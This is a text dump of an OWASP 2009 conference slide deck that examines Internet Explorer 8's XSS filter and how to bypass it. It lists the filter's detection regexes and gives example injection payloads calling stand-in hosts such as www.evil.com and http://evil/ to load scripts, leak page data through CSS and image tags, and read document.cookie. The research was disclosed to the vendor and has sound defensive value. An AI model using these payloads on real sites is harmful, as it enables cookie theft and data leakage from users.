33
Examining and Bypassing the IE8 XSS Filter Alex Kouzemtchenko [email protected]

Examining And Bypassing The IE8 XSS Filter

  • Upload
    kuza55

  • View
    12.909

  • Download
    4

Embed Size (px)

DESCRIPTION

http://www.owasp.org/index.php?title=OWASP_AU_Conference_2009_Presentations#Alex_Kouzemtchenko

Citation preview

Page 1: Examining And Bypassing The IE8 XSS Filter

Examining and Bypassing the IE8 XSS Filter

Alex [email protected]

Page 2: Examining And Bypassing The IE8 XSS Filter

About Me

• SIFT– http://www.sift.com.au/– Independent information security services

• Alex Kouzemtchenko– [email protected]– R&D Team Lead & Associate– Focus on Offensive Security Research– Internet Hardman & Conference Mercenary in another

life

Page 3: Examining And Bypassing The IE8 XSS Filter

Disclaimer

• This talk is presented from the adversary’s point of view• This isn’t meant to be a diss on Microsoft or David Ross• The XSS Filter is a step in the right direction

– XSS attacks which don’t take it into account will fail– Lifts the bar higher, RC1 even blocks huge chunks

• This talk is specifically about the IE8 Beta 2 and IE8 RC1 filters

• While I’ve been in communication with Microsoft about these issues, I don’t know what the final release will look like, most of these should hopefully be fixed

Page 4: Examining And Bypassing The IE8 XSS Filter

Agenda

• XSS Filter Goal & Rationale• Filter Design & Overview

– Protected & Un-Protected Scenarios– Some Implementation Details

• Bypasses for various scenarios• Where the filter is effective• Summary

Page 5: Examining And Bypassing The IE8 XSS Filter

XSS Filter Goals & Rationale

• XSS is the most reported bug class today– Even in frameworks which do a lot to protect apps– Still common, even in well known and audited sites

• “Type-1 XSS flaws … are increasingly being exploited “for fun and profit.” ” – David Ross– One of the easiest vulnerabilities to exploit

• Known by every beginning hacker out there

• Nice avenue for attacks if you’re willing to sacrifice your pride

– Mass-exploitation has begun – IFRAME SEO Poisoning• http://ddanchev.blogspot.com/2008/03/massive-iframe-seo-poisoning-attack.html

• The XSS Filter aims to make these vulnerabilities unexploitable in IE8

Page 6: Examining And Bypassing The IE8 XSS Filter

XSS Filter Goals

• Must not “break the web”– The XSS Filter must be compatible.– The XSS Filter must be secure. – The XSS Filter must be performant.

• The compatibility goal explains a lot of the decisions made in the creation of the filter

Page 7: Examining And Bypassing The IE8 XSS Filter

Protected Scenarios

• ‘Type-1’ / ‘Reflected’ XSS still the most common– Input comes in and gets outputted in the http response body

unsanitised– Three main scenarios

• Unfiltered injection outside a tag– <div>$injection</div>

• Unfiltered injection inside a tag– <input value=“$injection”>

• Unfiltered (or semi-filtered) injection into a javascript string– <script>

var a = “$injection”;…</script>

• Third scenario particularly hard to solve at the framework level without breaking things

• The XSS Filter seeks to fully mitigate all of these scenarios on the client

Page 8: Examining And Bypassing The IE8 XSS Filter

Un-Protected Scenarios

• Persistent / Type-2 XSS• DOM-Based / Type-0 XSS• Fragmented attacks• Unsanitised parameter names are outputted

– e.g. Site prints whole query string, or 404 page prints page name• http://site/page.jsp?’”><script>alert(1)</script>

• Unsanitised HTTP Headers are outputted– Particularly interesting for headers we can easily control

• E.g. Referer header

• Header Injection

Page 9: Examining And Bypassing The IE8 XSS Filter

Enabling / Disabling the XSS Filter

• Per-Zone on/off switch exists in zone settings– XSS Filter disabled in the

intranet zone by default • Probably best to enable it

unless it breaks things

– Enabled for all other zones

• Filter can be disabled on a per-site basis using a HTTP response header:– X-XSS-Protection: 0

Page 10: Examining And Bypassing The IE8 XSS Filter

XSS Filter Logic Flow

Flow Chart stolen from

http://blogs.technet.com/swi/archive/2008/08/18/ie-8-xss-filter-architecture-implementation.aspx

Page 11: Examining And Bypassing The IE8 XSS Filter

Navigation to HTML?

• Filter shouldn’t trigger on non-html content, as it will probably break things if it does

• Largely outside our own control• If something isn’t detected as html, it’s not

protected– Only relevant if someone comes up with some xss

techniques which apply to the xml renderer, or similar

• Flash-based XSS not affected– Largely a non-issue since the filter checks for a

reflection, but could become important in later versions

Page 12: Examining And Bypassing The IE8 XSS Filter

Same Site?

• Same site navigations ignored to speed everything up• Our best target for a bypass• If a site allows us to inject links, when those links are

followed, the navigation will be same-site, and therefore not protected– Hence forums, blogs, wikis, etc are not protected– Flash-based links (clickTag) works too– Frames work much the same way, but are automatic

• Frame injection not too uncommon, especially on apps with ‘help’ sections

• Demo

Page 13: Examining And Bypassing The IE8 XSS Filter

Same Site?

• In browser attacks are not the only option– Links opened from other applications could lead to XSS

• Email clients, IM programs, document handling programs (Word, etc)

– Links opened by plugins could lead to XSS• Opening links in named frames in particular, has lead to same

origin policy bugs in Flash in particular, e.g. CVE-2007-6244

• External application attacks largely mitigated due to a null origin is considered cross-site

• More complex interactions with the browser have the possibility to be considered same-site

Page 14: Examining And Bypassing The IE8 XSS Filter

Heuristic matches against GET/POST #1

• {<st{y}le.*?>.*?((@[i\\\\])|(([:=]|(&[#()=]x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\\\]|(&[#()=]x?0*((40)|(28)|(92)|(5C));?))))}

• {[ /+\\t\\\"\\'`]st{y}le[ /+\\t]*?=.*?([:=]|(&[#()=]x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\\\]|(&[#()=]x?0*((40)|(28)|(92)|(5C));?))}

• {<OB{J}ECT[ /+\\t].*?((type)|(codetype)|(classid)|(code))[ /+\\t]*=}• {<AP{P}LET[ /+\\t].*?code[ /+\\t]*=}• {[ /+\\t\\\"\\'`]data{s}rc[ +\\t]*?=.}• {<BA{S}E[ /+\\t].*?href[ /+\\t]*=}• {<LI{N}K[ /+\\t].*?href[ /+\\t]*=}• {<ME{T}A[ /+\\t].*?http-equiv[ /+\\t]*=}• {<\\?im{p}ort[ /+\\t].*?implementation[ /+\\t]*=}• {<EM{B}ED[ /+\\t].*?SRC.*?=}• {[ /+\\t\\\"\\'`]{o}n\\c\\c\\c+?[ +\\t]*?=.}• {<.*[:]vmlf{r}ame.*?[ /+\\t]*?src[ /+\\t]*=}• {<[i]?f{r}ame.*?[ /+\\t]*?src[ /+\\t]*=}• {<is{i}ndex[ /+\\t>]}• {<sc{r}ipt.*?[ /+\\t]*?src[ /+\\t]*=}

Page 15: Examining And Bypassing The IE8 XSS Filter

Heuristic matches against GET/POST #2

• {[\\\"\\'][ ]*(([^a-z0-9~_:\\'\\\" ])|(in)).*?(((l|(\\\\u006C))(o|(\\\\u006F))(c|(\\\\u0063))(a|(\\\\u0061))(t|(\\\\u0074))(i|(\\\\u0069))(o|(\\\\u006F))(n|(\\\\u006E)))|((n|(\\\\u006E))(a|(\\\\u0061))(m|(\\\\u006D))(e|(\\\\u0065)))).*?{=}}

• {[\\\"\\'].*?{\\)}[ ]*(([^a-z0-9~_:\\'\\\" ])|(in)).+?{\\(}}• {[\\\"\\'][ ]*(([^a-z0-9~_:\\'\\\" ])|(in)).+?{\\(}.*?{\\)}}• {[\\\"\\'][ ]*(([^a-z0-9~_:\\'\\\" ])|(in)).+?(([.].+?)|([\\[].*?[\\]].*?)){=}}• {(v|(&[#()=]x?0*((86)|(56)|(118)|(76));?))([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(b|(&[#()=]x?0*((66)|

(42)|(98)|(62));?))([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(s|(&[#()=]x?0*((83)|(53)|(115)|(73));?))([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(c|(&[#()=]x?0*((67)|(43)|(99)|(63));?))([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*{(r|(&[#()=]x?0*((82)|(52)|(114)|(72));?))}([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(i|(&[#()=]x?0*((73)|(49)|(105)|(69));?))([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(p|(&[#()=]x?0*((80)|(50)|(112)|(70));?))([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(t|(&[#()=]x?0*((84)|(54)|(116)|(74));?))([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(:|(&[#()=]x?0*((58)|(3A));?)).}

• {(j|(&[#()=]x?0*((74)|(4A)|(106)|(6A));?))([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(a|(&[#()=]x?0*((65)|(41)|(97)|(61));?))([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(v|(&[#()=]x?0*((86)|(56)|(118)|(76));?))([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(a|(&[#()=]x?0*((65)|(41)|(97)|(61));?))([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(s|(&[#()=]x?0*((83)|(53)|(115)|(73));?))([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(c|(&[#()=]x?0*((67)|(43)|(99)|(63));?))([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*{(r|(&[#()=]x?0*((82)|(52)|(114)|(72));?))}([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(i|(&[#()=]x?0*((73)|(49)|(105)|(69));?))([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(p|(&[#()=]x?0*((80)|(50)|(112)|(70));?))([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(t|(&[#()=]x?0*((84)|(54)|(116)|(74));?))([\\t]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(:|(&[#()=]x?0*((58)|(3A));?)).}

• Not an exhaustive list!– Working on one by hooking the URL checking function– Send me an email if you need it

Page 16: Examining And Bypassing The IE8 XSS Filter

Heuristic matches against GET/POST

• Only GET/POST are searched, and only individually– Hence we have all the unprotected scenarios

• Notice the regexes like this: ?– {<sc{r}ipt.*?[ /+\\t]*?src[ /+\\t]*=}– Specifically the ones that come in two parts– Won’t match on page.do?param1=<script+&param2=src

%3dhttp://www.evil.com/

– So if we can split the injection into two parameters, we can bypass the signatures

Page 17: Examining And Bypassing The IE8 XSS Filter

Heuristic matches against GET/POST

• But sometimes two injection points may not be needed to evade the filters– ASP/ASP.NET merge duplicate parameters

• page.asp?param=<script+&param=+src%3Dhttp://www.evil.com/>

• param becomes <script , src=http://www.evil.com/> when ASP uses it

– IIS also supports uncommon encoding in urls, namely %uNNNN• Attacks can be encoded using unicode encoding, and bypass filters

– Many PHP applications call stripslashes() on all input• \0 gets decoded to a null byte which is ignored by IE, can be inserted

everywhere to avoid signatures

– Custom applications do their own decoding (EBay’s Qencoding)

Page 18: Examining And Bypassing The IE8 XSS Filter

Heuristic matches against GET/POST

• All is not lost– MS applies specific transforms to deal with all

scenarios other than the last• Thank Ronald Van Den Heetkamp for arguing for the

stripslashes() transforms

– Lesson here is: Don’t use custom encoding on the parameters you accept, or you will not be able to take advantage of the filter’s protection

• However, if we find an injection not covered by those regexes, we win

Page 19: Examining And Bypassing The IE8 XSS Filter

Signature Match Against the Body

• When a signature matches against GET/POST params, a new regex is generated, like this:– (<ob{j}ect((.?)|(..)|(...)|(....)|(.....)|(......))classid=)– That string of dots, etc is inserted instead of some

safe characters, e.g. spaces, braces, etc

• This is then applied to the body– Of course, as mentioned before, if any non-

whitespace related encoding/decoding is done, then these will not match

Page 20: Examining And Bypassing The IE8 XSS Filter

Neuter Characters

• The character in the middle braces– {<is{i}ndex[ /+\\t>]}

• Is replaced with a ‘neuter character’ (#)– <isindex> becomes <is#ndex>

Page 21: Examining And Bypassing The IE8 XSS Filter

Intro’s over - Lets talk Bypasses

• What works?– Fragmented Injections– HTML-Only Injections– Same Site Check Bypass via GET– JavaScript-based tricks for injections into JavaScript

strings– Unfiltered injections into HTML– Stripping data that isn’t actually attacker controlled

• What’s safe?– .NET– Attribute injection

Page 22: Examining And Bypassing The IE8 XSS Filter

Fragmented Injections

• Possibly the filter’s biggest limitation– In some cases there is more than 1 injection point on

the page• Not necessarily both unfiltered

– If any data after an unfiltered injection point is controlled, then we only have to put some of our injection into the unfiltered parameter

– Demo– No plans to stop this

Page 23: Examining And Bypassing The IE8 XSS Filter

HTML-Only Injections

• XSS Filter mostly only stops script injection– One exception is the form tag

• HTML Injection is still dangerous– CSS Injections

• <style>input[value^="a"]{background:"http://evil/style.php/ends/a";}</style>

– Unclosed Image Tags• <img src=“http://evil/ <sensitive data> <a href=“

– Other HTML Injection tricks exist, but they don’t apply here

Page 24: Examining And Bypassing The IE8 XSS Filter

Same Site Check Bypass via GET

• Remember how we realised that if we can control links in forums, wikis, etc, we can bypass the same-site check?

• Me and Cesar Cerrudo independently realised that if we have an XSS bug, we can already inject links– Furthermore we can style them to take up the whole

page, etc– We can even use clickjacking attacks to do it from our

own domain– Demo

Page 25: Examining And Bypassing The IE8 XSS Filter

JavaScript-based tricks for injections into JavaScript strings

• Injections into javascript strings stopped from executing functions, however assignments are still allowed:– "+document.cookie+“

• useful when you can leak the var somehow

– ";user_input=document.cookie;//– ";user_input=sensitive_app_specific_var;//– “&&”string2”

• Replaces string before it; not perfect for assignments due to operator precedence

– Location = “whatever“?name:”• Useful for document.location=“<injection>”• Props to David Lindsay for coming up with this variant

– ";escape=eval;//

Page 26: Examining And Bypassing The IE8 XSS Filter

Unfiltered injections into HTML

• The filter is very good as a whole, and the regexes which it uses are great– Missed one tiny corner case

• OBJECT tag *usually* requires either a type or codetype or classid or code attribute– These are all blacklisted

• data attribute usually just says where the OBJECT should get it’s data from– IE also does extension sniffing

Page 27: Examining And Bypassing The IE8 XSS Filter

OBJECT Extension Sniffing

• <object data=“some.pdf”> will load some.pdf– Doesn’t seem to work with any other extension

handlers, e.g. .swf– Only loads PDFs from the same domain– Got stuck here for a month

• <object data=anything_at_all.pdf><param name=src value=http://www.evil.com/xss.pdf>– Loads the pdf from our site– PDF uses getURL(“vbscript:payload”);

• Can’t use javascript, since that’s blocked

– Demo time!

Page 28: Examining And Bypassing The IE8 XSS Filter

Stripping data that isn’t actually attacker controlled

• The XSS Filter has no way of determining of whether something was actually reflected or not

• So anything which fits one of the regexes can be neutered by an attacker

• We can strip some interesting things:– Meta tags which specify the charset (thanks 80sec!)

• Limited use in IE8 due to charset sniffing changes, may still be relevant

– JavaScript frame-breakers and other JavaScript blocks• Makes clickjacking possible even when sites have implemented

defences– Demo– Could potentially break context-sensitive filters

• script tags normally useless inside style tags, but if we break the style tag...

Page 29: Examining And Bypassing The IE8 XSS Filter

Summary

• Upgrade your users to IE8 and enable the filter for the intranet zone if you can

• The filter is close, very close to killing a whole lot of XSS– If this is important to you, tell Microsoft, it might make

the difference between it being fixed now, or in IE9

• When used together, ASP.NET Request Validation & IE8’s XSS Filter are not bypassable

Page 30: Examining And Bypassing The IE8 XSS Filter

Questions

?

Page 31: Examining And Bypassing The IE8 XSS Filter

Examining and Bypassing the IE8 XSS Filter

Alex [email protected]

Thanks to David Ross, et al for making something fun to play with

Page 32: Examining And Bypassing The IE8 XSS Filter

References – MS Design Info

• http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx

• http://blogs.msdn.com/dross/archive/2008/07/03/ie8-xss-filter-design-philosophy-in-depth.aspx

• http://blogs.technet.com/swi/archive/2008/08/18/ie-8-xss-filter-architecture-implementation.aspx

• http://blogs.msdn.com/ie/archive/2008/09/29/statistical-validation-of-the-ie8-xss-filter.aspx

Page 33: Examining And Bypassing The IE8 XSS Filter

References – Bypass Tricks

• http://nomoreroot.blogspot.com/2008/08/ie8-xss-filter.html

• http://www.80sec.com/ie8-security-alert.html• http://www.0x000000.com/?i=634 (dead link )• http://kuza55.blogspot.com/2008/09/ie8-xss-

filter.html (comments at the bottom are good)• http://www.securitylab.ru/analytics/363593.php• http://www.securiteam.com/windowsntfocus/

6Z00C15NFW.html